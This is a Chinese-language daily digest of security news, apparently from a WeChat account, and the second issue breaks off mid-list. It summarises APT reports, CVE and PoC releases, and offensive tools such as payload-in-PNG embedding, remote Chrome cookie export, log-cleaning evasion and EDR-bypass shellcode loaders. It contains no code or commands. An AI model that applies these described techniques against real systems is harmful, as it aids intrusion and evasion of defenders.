2024-10-25 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20241025获取图文评论版pdf

目录

0x01 【2024-1018】中国背景APT团伙“IcePeony”利用‘996’工作文化进行网络攻击
0x02 【2024-1018】利用.NET反序列化漏洞部署Specula后门
0x03 【2024-1018】CVE-2024-30090：Windows本地提权漏洞PoC公布
0x04 【2024-1020】使用LLMs进行零样本漏洞发现的工具
0x05 【2024-1020】COM对象激活的陷阱与解决方案
0x06 【2024-1020】Grafana中的CVE-2024-9264漏洞允许执行任意DuckDB SQL查询
0x07 【2024-1021】SAP NetWeaver AS Java 代码注入漏洞修复
0x08 【2024-1021】活动目录渗透测试全面指南
0x09 【2024-1021】近期最珍贵的Android用户空间漏洞CVE-2024-31317分析
0x0a 【2024-1022】Servicelens：枚举和分析Microsoft 365域名服务
0x0b 【2024-1022】使用CSS泄露HTML文本节点的挑战
0x0c 【2024-1022】远程Chrome滥用概念验证工具remotechrome
0x0d 【2024-1023】微软远程注册表客户端中的权限提升漏洞
0x0e 【2024-1023】黑客基础：Linux 日志系统
0x0f 【2024-1024】在URL凭证中隐藏有效载荷
0x10 【2024-1024】Kubernetes权限提升攻击分析（第一部分）
0x11 【2024-1024】国家间谍利用FortiManager漏洞进行网络攻击
0x12 【2024-1025】将有效载荷嵌入PNG文件的GitHub项目
0x13 【2024-1025】Spip内容管理系统0-day漏洞研究
0x14 【2024-1025】Lazarus APT组织的加密游戏：投资者与零日漏洞的对决
0x15 【2024-1025】开放目录中发现Rekoobe后门，或针对TradingView用户

0x01 中国背景APT团伙“IcePeony”利用‘996’工作文化进行网络攻击

研究人员发现了一起名为“IcePeony”的中国背景高级持续性威胁（APT）团伙，该团伙自2023年起活跃，采用SQL注入等手段攻击包括印度、毛里求斯和越南等国家的政府机构、学术机构和政治组织，目的是窃取凭证信息。

<<<左右滑动见更多 >>>

热评

• 揭秘未知APT组织：冰凌花
• IcePeony 揭露 '996' 工作文化

关键信息点

• IcePeony是一起具有中国背景的APT团伙，自2023年起针对亚洲国家的政府和教育机构进行攻击。
• 他们的攻击手段通常包括SQL注入、部署Webshell和后门以及窃取凭证信息。
• 攻击者使用了多种开源工具，并且定制了一些自己的工具，如StaX、ProxyChains、IceCache和IceEvent。
• IceCache是针对IIS服务器的定制恶意软件，基于开源项目reGeorge，增加了文件传输和命令执行功能。

🏷️: IcePeony, APT, 网络攻击, 中国背景, 996工作文化

0x02 利用.NET反序列化漏洞部署Specula后门

本文介绍了如何利用.NET反序列化漏洞，通过Specula工具在工作站上部署后门。

热评

关键信息点

• .NET反序列化是一种可以被利用用于红队行动的技术。
• Specula工具可以用来在工作站上部署后门，通过设置特定的注册表项来实现。
• 利用.NET反序列化时，直接执行C#代码比通过cmd.exe执行命令更为隐蔽和有效。
• 对于ysoserial这样的工具，理解其内部工作机制对于有效利用和进一步的工具改进至关重要。

🏷️: .NET, 反序列化, Specula, 后门, 漏洞利用

0x03 CVE-2024-30090：Windows本地提权漏洞PoC公布

CVE-2024-30090 是由 DEVCORE 的 Angelboy 发现的一个本地提权（LPE）漏洞，该漏洞的 PoC（概念证明）已公布。

热评

• CVE-2024-30090 漏洞利用PoC：提权至SYSTEM
• CVE-2024-30090 漏洞利用 PoC 实现，可提升至 SYSTEM 权限

关键信息点

• CVE-2024-30090 是一个严重的安全漏洞，它允许攻击者在受影响的 Windows 系统上提升权限。
• Angelboy 的工作显示了如何编译 x86 程序来利用这个漏洞，以及如何通过 NtQuerySystemInformation 函数获取内核基地址。
• 此 PoC 的开发得益于社区的资源和指导，包括 Cedric Halbronn 的教程和 bruno-1337 的 SeDebugPrivilege 利用代码。
• 资源 & 引用部分提供了深入的学习材料，包括技术文章和视频，这些内容对于理解和学习如何从 Windows 内核中传播和利用漏洞至关重要。

🏷️: CVE, LPE, Windows, 漏洞, PoC

0x04 使用LLMs进行零样本漏洞发现的工具

Vulnhuntr 是一个利用大型语言模型（LLMs）和静态代码分析来识别远程可利用漏洞的工具，专注于 Python 代码库，并支持发现包括本地文件包含（LFI）、任意文件覆盖（AFO）、远程代码执行（RCE）、跨站脚本（XSS）、SQL 注入（SQLI）、服务器端请求伪造（SSRF）和不安全的直接对象引用（IDOR）等漏洞类型。

<<<左右滑动见更多 >>>

热评

• Vulnhuntr 发布 14 个 LLM 发现的 0day 漏洞
• Vulnhuntr发布！首款AI发现0day漏洞的静态代码分析工具

关键信息点

• Vulnhuntr 是首个利用 LLMs 发现 0day 漏洞的工具，它采用了独特的方法来识别和分析漏洞。
• 该工具的核心优势在于能够结合大型语言模型的分析能力和静态代码分析，提供更全面的安全检查。
• Vulnhuntr 的分析过程包括 LLM 对代码的总体分析和针对特定漏洞的深入分析，以及对代码中的函数、类和变量进行的上下文请求，以完成从用户输入到服务器处理的整个调用链。
• 分析报告中包含了漏洞的置信度评分，这有助于开发者评估和优先处理潜在的安全风险。

🏷️: LLMs, 漏洞发现, 代码分析, Python, 网络安全

0x05 COM对象激活的陷阱与解决方案

本文讨论了在使用COM对象（如ICorPublish接口）时，由于版本不兼容导致的问题，并提供了解决方案。

<<<左右滑动见更多 >>>

热评

• COM 对象激活的陷阱：.NET 非托管 API 的安全风险
• COM 对象激活的陷阱：.NET 非托管 API 的安全问题

关键信息点

• COM接口在.NET应用程序的调试和托管中起着关键作用，但是在实际使用中可能会遇到与CLR版本不兼容的问题。
• COM对象的创建API（如CreateInstance等）可能会加载错误版本的mscordbi.dll，导致无法预测的行为，往往是方法调用失败。
• 通过DllGetClassObjectInternal Win32 API获取正确版本的mscordbi.dll是解决问题的关键步骤。
• 手动激活COM类并确保与CLR版本兼容可以避免接口方法调用失败的问题，文章中的C++代码示例说明了这一点。

🏷️: COM, ICorPublish, 版本兼容性, 解决方案

0x06 Grafana中的CVE-2024-9264漏洞允许执行任意DuckDB SQL查询

网页主要介绍了Grafana中的CVE-2024-9264漏洞利用方法，该漏洞允许经过身份验证的用户通过修改Grafana仪表板中的表达式执行任意DuckDB SQL查询，从而读取文件系统中的任意文件。

热评

• Grafana 认证 RCE 漏洞分析：CVE-2024-9264
• Grafana 任意文件读取漏洞 (CVE-2024-9264) 利用

关键信息点

• CVE-2024-9264是一个严重的安全漏洞，可以被用来读取Grafana服务器上的任意文件，这对于系统的安全性和数据的保密性构成了严重威胁。
• 漏洞的存在与否取决于DuckDB的安装状态。默认情况下，Grafana不包含DuckDB，因此在默认安装的Grafana服务器上，该漏洞不可利用。
• Grafana团队已经提供了修复方案，即完全移除了SQL表达式功能，这是一种有效的修复策略，能够完全阻止漏洞的利用。
• 安全更新是防止漏洞利用的关键。用户应该及时更新到最新的修复版本，以确保他们的Grafana环境不受攻击。

🏷️: CVE, Grafana, SQL注入, DuckDB, 漏洞利用

0x07 SAP NetWeaver AS Java 代码注入漏洞修复

SAP 发布了安全更新 3433192，解决了 SAP NetWeaver AS Java 管理员日志查看器插件中的关键代码注入漏洞（CVE-2024-22127），该漏洞可能允许攻击者上传恶意文件，危及系统的保密性、完整性和可用性。

<<<左右滑动见更多 >>>

热评

• SAP NetWeaver AS Java 代码注入漏洞
• SAP NetWeaver AS Java 中发现代码注入漏洞

关键信息点

• 该代码注入漏洞对 SAP NetWeaver AS Java 系统构成严重威胁，需要立即应对。
• 通过限制文件上传类型和激活病毒扫描配置文件，可以显著降低漏洞利用的风险。
• 管理员应该优先考虑升级系统、配置病毒扫描以及调整用户角色来提高安全性。
• 除了应对已知漏洞，定期进行 SAP 渗透测试也是保障系统安全的重要手段。

🏷️: SAP, 漏洞, 代码注入, 安全更新, CVE-2024-22127

0x08 活动目录渗透测试全面指南

该网页提供了一份全面的指南，用于在活动目录（AD）环境中进行渗透测试，涵盖了常见的AD端口和服务、各种利用工具和技术、以及后渗透攻击的方法。

热评

• Active Directory 渗透测试指南
• Active Directory 渗透测试指南

关键信息点

• 网页内容的主要观点是，为了有效地评估和保护AD基础设施的安全，安全专业人员需要深入了解AD的工作原理、常见漏洞以及可能的攻击路径。通过使用提供的工具和技术，可以对AD环境进行全面的安全评估，发现潜在的安全漏洞，并采取相应的安全措施来减轻风险。文章强调了渗透测试在AD安全中的重要性，并提供了实用的指导和资源，帮助安全专业人员在渗透测试中更加高效和有效。

🏷️: 渗透测试, 活动目录, AD, 网络安全, 工具

0x09 近期最珍贵的Android用户空间漏洞CVE-2024-31317分析

网页主要分析了 Android 系统中的 CVE-2024-31317 漏洞，这是一种用户模式下的普遍漏洞，可以用来获取任意用户ID（UID）的代码执行权限，类似于绕过 Android 沙箱，获取任何应用的权限。

热评

关键信息点

• CVE-2024-31317 漏洞是 Android 用户模式下最有价值的漏洞之一，它允许攻击者获取任意 UID 的代码执行权限，类似于绕过 Android 沙箱。
• Zygote 的工作原理和命令注入的方法对于理解和利用该漏洞至关重要。
• 在 Android 12 及以上版本中，利用该漏洞变得更加复杂，需要新的技术来解决由于缓冲区预读取优化带来的问题。
• 通过控制 Zygote 参数，攻击者可以实现特权提升，并可能通过 jdwp 协议实现代码注入。

🏷️: Android, 漏洞, CVE-2024-31317, 网络安全, 代码执行

0x0a Servicelens：枚举和分析Microsoft 365域名服务

Servicelens 是一个用于识别与特定域名相关联的 Microsoft 365 域名及其服务的 Python 脚本，通过检查 DNS 记录来分类和总结这些服务。

热评

关键信息点

• Servicelens 主要用于域名和服务发现：它能够识别与特定域名相关联的 Microsoft 365 域名，并通过分析 DNS 记录来发现和分类这些域名使用的服务。
• 脚本提供详细的服务分类：Servicelens 将服务分为多个类别，如 Email Services、Cloud Platforms 等，为用户提供了一个清晰的服务使用概览。
• 易于安装和使用：用户可以通过克隆 GitHub 仓库并安装 dnspython 库来快速部署 Servicelens，并通过命令行参数来运行脚本。
• 支持详细输出：通过 -v 标志，用户可以获得更详细的输出，以便进一步分析。

🏷️: Servicelens, Microsoft 365, DNS记录, 服务分析, Python脚本

0x0b 使用CSS泄露HTML文本节点的挑战

网页主要探讨了如何利用纯 CSS 泄露 HTML 文本节点中的内容，并通过一个具体的挑战实例，展示了一种新的 CSS 注入技术。

热评

• CSS注入文本节点数据窃取技术

关键信息点

• CSS 可以用于数据泄露：尽管存在限制，但 CSS 可以被用来泄露 HTML 文本节点中的敏感信息，如认证令牌。
• CSS 注入的新技术：传统的 CSS 注入技术在某些情况下不适用，如在没有 JavaScript 的情况下。作者提出了一种新的技术，利用 CSS 动画和条件样式来测量和泄露文本节点的内容。
• 字体加载差异的利用：通过观察字体加载时的高度差异，可以推断出文本节点中的字符集。
• CSS 动画时间线的测量能力：CSS 动画时间线可以用来精确测量 HTML 元素的尺寸，这为条件样式提供了可能性。

🏷️: CSS, 网络安全, CTF

0x0c 远程Chrome滥用概念验证工具remotechrome

网页主要介绍了 remotechrome 和 remotechrome_curl 这两个 Python 脚本，它们用于通过远程连接到 Chrome 浏览器进行操作和调试，支持多种认证方式，并且可以导出 cookies 为 JSON 格式。

热评

关键信息点

• remotechrome 和 remotechrome_curl 是专门为了远程操作和调试 Chrome 浏览器而设计的工具，它们提供了强大的功能和灵活的配置选项。
• 这些工具支持多种认证方式，包括传统的 NTLM 哈希认证和现代的 Kerberos 认证，以及 AES 加密，这使得它们可以在各种安全环境中使用。
• 通过将 cookies 导出为 JSON 格式，remotechrome 提供了一种方便的方式来分析和重放用户会话。
• 这些工具的命令行界面设计简洁，易于集成到自动化脚本和安全测试工作流中。

🏷️: 远程访问, Chrome, 安全漏洞, 概念验证

0x0d 微软远程注册表客户端中的权限提升漏洞

Akamai 研究人员 Stiv Kupchik 发现了 Microsoft 远程注册表客户端中的一项新的提权漏洞 CVE-2024-43532，该漏洞通过利用 WinReg 客户端实现中的回退机制，可以将客户端的 NTLM 认证详情中继到 Active Directory 证书服务 (ADCS)，进而获取用户证书以在域中进一步进行认证。该漏洞已在 2024 年 10 月的 Patch Tuesday 中被修复。

热评

• 「编者注」:poc地址: https://github.com/akamai/akamai-security-research/tree/main/PoCs/cve-2024-43532
• NoHat 2024 大会总结：RPC、身份验证等技术解析

关键信息点

• MS-RPC 是 Windows 操作系统的核心组件，但随着时间的推移，安全原则的演变使得大多数 RPC 服务器和客户端现在都是安全的。
• WinReg 客户端 中的回退机制可能会在 SMB 传输不可用时使用不安全的认证级别，导致 NTLM 中继攻击。
• 攻击者可以通过中继 NTLM 认证到 ADCS 来请求用户证书，然后利用该证书在域中进行认证，而不需要再次中继认证。
• 尽管 RPC 协议 本身设计时考虑了安全性，但仍然可能发现一些不安全的接口实现，这表明网络防御必须非常严格，以防止任何古老的接口暴露或运行。

🏷️: RPC, 权限提升, 漏洞, 微软, 远程注册表

0x0e 黑客基础：Linux 日志系统

网页主要介绍了Linux操作系统中的日志系统，特别是journalctl这一工具的使用方法和在网络战中的重要性。

<<<左右滑动见更多 >>>

热评

• Journalctl指南：黑客的Linux日志系统指南

关键信息点

• journalctl是现代Linux系统中的核心日志管理工具，它提供了强大的查询和分析功能。
• 对于网络战的参与者来说，理解和能够操作journalctl是至关重要的，因为它可以用于收集情报、监控系统、清理痕迹以及建立持久化访问。
• 虽然journalctl提供了许多优势，但它的日志记录和安全特性也为攻击者的行为留下了更多的痕迹，增加了被发现的风险。
• 在进行日志操作时，攻击者需要采取精心的方法来避免引起系统管理员的怀疑，例如通过例行维护的方式清理日志，以及在进行横向移动时模仿正常的通信模式。

🏷️: Linux, 日志系统, 黑客, 系统管理, 安全工程

0x0f 在URL凭证中隐藏有效载荷

Johan Carlsson 发现可以在 URL 的凭证部分隐藏有效载荷，这种方法在 Chrome 和 Firefox 中能够使有效载荷在地址栏中不可见，并且在同源导航中仍然有效。

<<<左右滑动见更多 >>>

热评

• URL凭证隐藏有效载荷，实现DOM XSS和DOM Clobbering攻击
• URL凭证中的隐藏负载：利用URL凭证隐藏恶意代码

关键信息点

• URL 凭证部分的隐藏有效载荷：这是一种新型的攻击技术，可以在不显示在地址栏的情况下传输有效载荷，增加了攻击的隐蔽性。
• document.URL 和 location 对象的差异：document.URL 包含 URL 的凭证部分，而 location 对象不包含，这一差异为攻击者提供了获取有效载荷的途径。
• Firefox 对单引号的处理：Firefox 不对 URL 凭证部分的单引号进行编码，这一特性可以被利用来进行 DOM XSS 攻击。
• 锚点元素的操纵：可以通过 URL 的凭证部分来控制锚点链接中的 username 和 password 属性，这可以通过 DOM 覆盖技术进一步扩展攻击面。

🏷️: URL, 凭证, Firefox, DOM, 有效载荷

0x10 Kubernetes权限提升攻击分析（第一部分）

本文讨论了Kubernetes环境中的权限提升攻击，包括账户操纵、有效账户的滥用以及系统Pod的潜在风险。

热评

关键信息点

• Kubernetes权限提升是一种严重的安全威胁，攻击者可以通过多种手段实现，包括操纵账户、利用有效账户、滥用系统Pods等。
• 基于角色的访问控制（RBAC）是Kubernetes安全机制的关键，但错误配置的RBAC角色和绑定可能会被攻击者利用来提升权限。
• 系统Pods的错误配置为Kubernetes集群带来了潜在的安全风险，攻击者可能会利用这些Pods作为提升权限的跳板。
• 安全控制应该是多层次的，包括预防和应对措施，以确保Kubernetes环境的安全。

🏷️: Kubernetes, 权限提升, 云安全, 容器安全

0x11 国家间谍利用FortiManager漏洞进行网络攻击

网页揭露了FortiNet产品中的FortiGate到FortiManager协议（FGFM）的零日漏洞，该漏洞被国家级攻击者利用进行间谍活动，且FortiNet未及时公开CVE信息和补丁。

热评

关键信息点

• FortiNet在处理该漏洞的透明度和责任感上存在问题：尽管该漏洞已被广泛利用，FortiNet未能及时公开漏洞信息和补丁，延迟了用户的防御响应。
• FGFM协议的默认配置存在安全风险：FortiManager默认允许任何设备注册，只要有有效的证书，这降低了注册门槛，增加了被入侵的风险。
• FortiGate防火墙漏洞的普遍性：网页提到了另一个在2024年10月由CISA标记的FGFM漏洞（CVE-2024–23113），这表明FortiGate防火墙的漏洞并不个别。
• FortiNet的安全措施不完善：部分版本的补丁尚未发布，且即使发布了补丁，补丁的描述也缺乏详细的安全问题说明。

🏷️: FortiManager, 漏洞, 国家间谍, 网络安全, CVE

0x12 将有效载荷嵌入PNG文件的GitHub项目

GitHub - Maldev-Academy/EmbedPayloadInPng 仓库提供了一种将有效载荷嵌入PNG文件的方法，通过在多个IDAT部分中分割有效载荷，并使用RC4加密算法为每个部分单独加密。

<<<左右滑动见更多 >>>

热评

• 将加密有效载荷嵌入PNG文件的多节段方法
• PNG 文件多段加密载荷嵌入技巧

关键信息点

• 多个IDAT部分：有效载荷被分割并嵌入到PNG文件的多个IDAT部分中，每个部分都进行了RC4加密。
• 加密方式：每个IDAT部分使用自己的16字节密钥进行RC4加密。
• 文件结构：嵌入有效载荷的PNG文件结构包括一个随机IDAT部分标记有效载荷的开始，接着是多个包含加密有效载荷的IDAT部分。
• 最大大小限制：由于IDAT部分的大小限制，每个部分的实际大小为8176字节，最后一个部分包含剩余的有效载荷字节。

🏷️: payload, PNG, 加密, IDAT, RC4

0x13 Spip内容管理系统0-day漏洞研究

这篇文章主要介绍了对 Spip 内容管理系统的一个 0-day 漏洞的研究，该漏洞允许未授权的远程代码执行（RCE），并已在 Spip 的 4.2.9 版本中的 4-3-0-alpha2、4-2-13 和 4.1.16 版本中被修复。

<<<左右滑动见更多 >>>

热评

• SPIP 远程代码执行漏洞分析：The Feather篇

关键信息点

• Spip 的安全性受到威胁：Spip 的一个 0-day 漏洞允许未授权的远程代码执行，这对 Spip 用户的安全性构成了严重的威胁。
• 定期代码审计的重要性：作者通过定时任务每天审计代码更改，这表明了定期代码审计在发现安全漏洞中的重要性。
• 插件安全更新的必要性：即使 Spip 的核心代码被修复，如果相关插件没有更新，用户仍然可能面临风险。
• 预览功能可能成为安全隐患：Spip 的预览功能存在安全漏洞，可以被利用来实现代码执行。

🏷️: Spip, 漏洞, 远程代码执行, 0-day, 安全修复

0x14 Lazarus APT组织的加密游戏：投资者与零日漏洞的对决

Lazarus APT 利用其标志性恶意软件 Manuscrypt 进行攻击，其中包含了对 Google Chrome 的零日漏洞利用，攻击者通过一个模仿 DeFi NFT 游戏的网站诱骗用户点击，从而完全控制受害者的电脑。

<<<左右滑动见更多 >>>

热评

• 朝鲜黑客利用零日漏洞攻击视频游戏行业，盗取加密货币
• Chrome 远程代码执行漏洞 CVE-2024-4947 分析

关键信息点

• Lazarus APT 利用了高度复杂的社交工程和零日漏洞来进行攻击，这表明他们在金融获利方面的动机和技术能力的持续发展。
• 攻击者通过模拟真实 DeFi NFT 游戏的网站，诱骗用户下载恶意软件，展示了他们在社交工程方面的专业技能。
• Lazarus 利用了 V8 引擎的漏洞，特别是新引入的 Maglev 编译器的漏洞，以及 Irregexp VM 的漏洞来绕过 V8 沙箱，这表明他们对浏览器内部工作机制有深入的了解。
• Kaspersky 在发现这些漏洞后，采取了负责任的披露政策，帮助了 Google 修复漏洞，并通过开发自己的游戏服务器来研究攻击者的手段，展示了他们在应对高级威胁行为者方面的专业能力。

🏷️: Lazarus APT, 加密货币, 零日漏洞, 网络安全, 威胁行为者

0x15 开放目录中发现Rekoobe后门，或针对TradingView用户

研究人员在开放目录中发现了Rekoobe后门，该后门可能针对TradingView用户，并且与APT31等攻击者的网络攻击活动有关。

热评

• Rekoobe 恶意软件样本公开目录揭示交易平台风险
• 交易平台后门“Rekoobe”被发现，可能针对TradingView用户

关键信息点

• Rekoobe后门的发现揭示了针对特定金融平台用户的可能威胁，特别是TradingView用户。
• 开放目录中的恶意软件样本和模仿性域名的存在暗示了攻击者试图通过网络间谍和数据窃取来实现其目标。
• 通过共享SSH密钥的方式，研究人员能够揭示更广泛的攻击者基础设施网络，这表明了进一步的安全威胁。
• 合法安全工具（如Yakit）的恶意使用提醒了安全社区需要对这类工具的使用保持警惕，以防其被用于不良目的。

🏷️: Rekoobe, 后门, TradingView, APT31, 网络攻击

2024-10-17 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20241017获取图文评论版pdf

目录

0x01 【2024-1012】微软指南帮助缓解Kerberoasting攻击
0x02 【2024-1012】KeyCloak中的SAML签名验证漏洞分析
0x03 【2024-1012】利用.NET框架枚举和攻击活动目录环境
0x04 【2024-1014】针对MikroTik路由器的渗透测试研究
0x05 【2024-1014】Zendesk在多家财富500强公司中故意留下后门漏洞
0x06 【2024-1014】远程桌面协议（RDP）简易解释
0x07 【2024-1014】深入解析ViewState安全问题
0x08 【2024-1014】利用韩文字母填充字符执行隐形JavaScript
0x09 【2024-1015】简单脚本从reg.py/lookupsid复制并受itm4n的注册表会话枚举启发
0x0a 【2024-1016】DLL劫持：恶意代码代理的新视角
0x0b 【2024-1016】早期级联注入技术：从Windows进程创建到隐蔽注入
0x0c 【2024-1016】克隆克隆器：构建自定义RFID克隆设备
0x0d 【2024-1016】Ghost：利用Fiber线程绕过EDR检测的Shellcode加载器
0x0e 【2024-1017】绕过noexec限制执行任意二进制文件
0x0f 【2024-1017】通过API0cradle添加证书和GPO转储脚本
0x10 【2024-1017】微信MMTLS加密协议安全性分析

0x01 微软指南帮助缓解Kerberoasting攻击

微软提供了针对Kerberoasting攻击的防御指南，强调了使用gMSA或dMSA、设置强密码以及审计SPN的重要性。

热评

• Kerberoasting攻击：原理、检测与防御
• Windows Server 2025：Active Directory 安全增强，不容忽视

关键信息点

• Kerberoasting是一种低技术、高影响力的攻击，可以利用开源工具来查询目标账户、获取服务票证并通过暴力破解离线获取账户密码。
• 服务账户的安全性对于防止Kerberoasting至关重要。应优先使用gMSA或dMSA，它们提供了更强的密码安全性和自动管理功能。
• 密码策略对于防御Kerberoasting同样关键。应禁用弱加密算法，如RC4，并确保所有服务账户使用AES加密。
• 监测和审计是检测Kerberoasting攻击的关键步骤。应检查异常的Kerberos加密类型请求和重复的服务票证请求。

🏷️: Kerberoasting, Active Directory, 密码破解, GPU加速, 网络安全

0x02 KeyCloak中的SAML签名验证漏洞分析

Keycloak 存在一个 SAML 签名验证方法的漏洞，该漏洞允许攻击者通过创建精心设计的响应来绕过验证，可能导致权限提升或模拟攻击。

热评

• KeyCloak 漏洞 CVE-2024-8698 分析
• KeyCloak 漏洞 CVE-2024-8698 分析

关键信息点

• Keycloak 的 SAML 签名验证漏洞可能导致严重的安全风险，包括权限提升和模拟攻击。
• 漏洞的根本原因在于 XMLSignatureUtil 类中的 validate 方法错误地实现了签名验证逻辑。
• 攻击者可以通过精心设计的 XML 签名和断言操作来绕过验证。
• 为了防御这种攻击，开发者应该确保使用最新版本的 Keycloak，并且在配置 SAML 时启用所有必要的安全验证。

🏷️: KeyCloak, SAML, 签名验证, 漏洞, XMLSignatureUtil

0x03 利用.NET框架枚举和攻击活动目录环境

热评

• 利用Offensive .NET枚举和利用Active Directory环境
• .NET 攻击技巧：枚举和利用 Active Directory 环境

关键信息点

• .NET Framework是进行Windows和Active Directory环境操作的理想选择，因为它不需要额外的依赖安装，能够原生运行，并且提供了丰富的类库和命名空间来简化开发。
• LDAP是Active Directory中最基础的协议之一，使用.NET进行LDAP枚举能够有效地收集用户、组和其他对象的信息。
• 枚举Domain Controllers和Trusts是理解和横向移动在Active Directory环境中的关键步骤，利用.NET可以轻松实现这一点。
• RBCD攻击是一种高风险的权限提升方法，通过修改目标对象的特定属性，攻击者可以实现对资源的委托。

🏷️: .NET, 活动目录, 攻击, 枚举, 网络安全

0x04 针对MikroTik路由器的渗透测试研究

本文主要介绍了针对MikroTik路由器的渗透测试方法和技术，包括API服务的暴力破解、设备发现、SNMP协议的滥用、UPnP扫描、缺失的安全特性、Winbox凭证的提取、PMKID攻击、配置分析工具Sara的使用、内网渗透技术Pivoting以及RouterOS的后期利用策略。

<<<左右滑动见更多 >>>

热评

• 渗透测试 MikroTik 路由器
• MikroTik 路由器渗透测试

关键信息点

• MikroTik路由器的安全性至关重要：由于MikroTik路由器在全球范围内的广泛使用，它们的安全性对网络稳定性和保护至关重要。
• API服务的不当配置是安全风险：MikroTik设备的API服务如果未经配置或保护不当，可能会成为攻击者获取控制权限的入口点。
• 网络发现和SNMP协议的滥用：攻击者可以利用网络发现协议和SNMP协议来收集关键的网络设备信息，这些信息可能会被用于进一步的攻击。
• 缺乏安全特性增加了攻击面：缺少DAI、Storm Control和VACL等网络安全特性会增加网络面临的安全风险。

🏷️: 渗透测试, MikroTik, 路由器, 网络安全, 攻击

0x05 Zendesk在多家财富500强公司中故意留下后门漏洞

15岁的黑客小伙佩尔在业余时间发现了一个漏洞，该漏洞允许攻击者通过Zendesk的电子邮件合作功能入侵包括超过一半的全球500强公司在内的企业的支持票据系统，并可能通过OAuth登录特性进一步入侵Slack工作空间。尽管Zendesk最初将这个问题标记为“不在作用域内”并拒绝修复，但最终在受影响公司的压力下修复了漏洞。

<<<左右滑动见更多 >>>

热评

• Zendesk 漏洞赏金：数百家公司后门敞开，最高奖励 5 万美元
• Zendesk 漏洞赏金争议：漏洞被认定为“信息性”却未支付赏金

关键信息点

• Zendesk的安全漏洞可能会对使用其服务的公司造成严重影响，尤其是当这些公司包括全球500强企业时。
• 即使是值得信赖的第三方服务提供商，也可能存在安全漏洞，这要求企业对这些服务进行适当的安全审计和监控。
• 黑客攻击和漏洞利用可能会通过电子邮件系统的弱点进行，因此对于电子邮件的安全性和身份验证的严格性至关重要。
• 企业在处理安全漏洞报告时的反应可能会受到公众和其他公司的压力，这可能会促使他们采取行动解决问题。

🏷️: Zendesk, 漏洞, 财富500强, 后门, 网络安全

0x06 远程桌面协议（RDP）简易解释

远程桌面协议（RDP）是一种流行的用于远程访问Windows计算机的协议，其复杂性和扩展性可能导致新的关键漏洞的发现，对安全行业的专业人士来说具有重要意义。

热评

• 远程桌面协议 (RDP) 简单解释

关键信息点

• RDP协议的复杂性和广泛的应用使其成为安全领域的关注重点。由于其多样的扩展和潜在的新漏洞，安全专业人士需要对其进行深入学习和研究。
• RDP的安全性至关重要。近年来发现的关键漏洞，如BlueKeep和DejaBlue，表明了RDP协议安全性的脆弱性。这些漏洞可能被用来进行远程代码执行，因此需要采取措施，如使用增强型安全性和NLA，来提高RDP服务器的安全性。
• RDP协议的设计和实现允许高效的数据传输和良好的用户体验。通过使用多通道通信和数据压缩技术，RDP能够在网络上有效地传输图形和输入数据。
• 为了保护RDP服务器免受攻击，应该采取一些最佳实践。这包括防止RDP服务器直接暴露在互联网上，以及启用网络层认证，以限制只有已认证的用户才能访问RDP服务。

🏷️: RDP, 远程访问, 网络安全

0x07 深入解析ViewState安全问题

本文主要探讨了ASP.NET中ViewState机制的安全问题，包括不同配置、版本下的安全问题，以及如何从黑盒和白盒视角发现和利用这些问题，并最终提供了对ViewState处理流程的分析。

<<<左右滑动见更多 >>>

热评

关键信息点

• ViewState是ASP.NET中用于保持页面状态的关键机制，但在不当配置下可能会带来安全风险。
• 在不同的配置和版本环境下，ViewState的安全性会有显著差异，需要特别注意的是Mac验证和加密的配置。
• 攻击者可以通过多种手段来利用ViewState的安全漏洞，包括生成恶意payload、绕过加密和Mac验证等。
• 在实战中，攻击者可以采用黑盒测试和白盒审计两种方法来发现和利用ViewState的问题。

🏷️: ViewState, ASP.NET, 安全问题, 渗透测试

0x08 利用韩文字母填充字符执行隐形JavaScript

该网页介绍了利用韩文字符填充漏洞来执行看不见的JavaScript代码的方法，并且这一方法受到了Martin Kleppe的INVISIBLE.js的启发。

热评

关键信息点

• 利用韩文字符填充漏洞执行JavaScript代码是一种巧妙的方法，可以在用户看不到代码的情况下执行。
• 这种方法受到了Martin Kleppe的INVISIBLE.js的启发，INVISIBLE.js是一个专门用于隐藏JavaScript代码执行的框架。
• 通过本文提供的示例代码，可以看到代码执行的过程，以及这种技术的实际应用。
• 这种技术可能会有潜在的安全风险和滥用情况，因为它允许在用户不知情的情况下执行脚本。

🏷️: JavaScript, 隐形代码, 韩文字母, 代码执行

0x09 简单脚本从reg.py/lookupsid复制并受itm4n的注册表会话枚举启发

该网页提供了一个简单的Python脚本，用于通过注册表检查Windows系统上的登录用户，该脚本灵感来源于itm4n的会话枚举方法。

热评

• 低权限用户利用注册表进行C#/BOF替代方案

关键信息点

• 远程检测Windows登录用户：该脚本的主要目的是远程检测Windows系统上当前登录的用户，这对于安全审计和管理员的日常工作非常有用。
• 基于注册表的枚举方法：脚本利用Windows注册表中的HKEY_USERS键来枚举用户的SID，这是一种高效的检测已登录用户的方法。
• 集成Kerberos认证：脚本支持Kerberos认证，这使得在支持Kerberos的环境中进行更安全的认证成为可能。
• 灵活的命令行参数：用户可以通过命令行参数来指定目标主机的IP地址、端口、认证方式等，提供了很高的灵活性。

🏷️: 脚本, 注册表, 会话枚举, Python

0x0a DLL劫持：恶意代码代理的新视角

本网页主要介绍了DLL劫持的新技术和实战应用，以及持续渗透测试（CPT）在这一领域的重要性。

热评

• DLL劫持：一种新的Shellcode代理方式

关键信息点

• DLL劫持依然是一种有效的攻击手段，尽管微软采取了一些措施来减轻这些攻击，但攻击者仍然可以通过新的技术来实现代理shellcode。
• 持续渗透测试（CPT）对于发现新的攻击路径和漏洞至关重要，它允许红队团队进行深入的研究和开发，以适应坚固的环境。
• 简单而有效的方法，如使用process monitor来监控系统事件，可以帮助发现DLL加载的漏洞。
• DLL代理攻击是一种新的技术，它允许攻击者在不中断服务的情况下加载恶意代码。

🏷️: DLL劫持, 恶意代码, 网络安全, 红队工具

0x0b 早期级联注入技术：从Windows进程创建到隐蔽注入

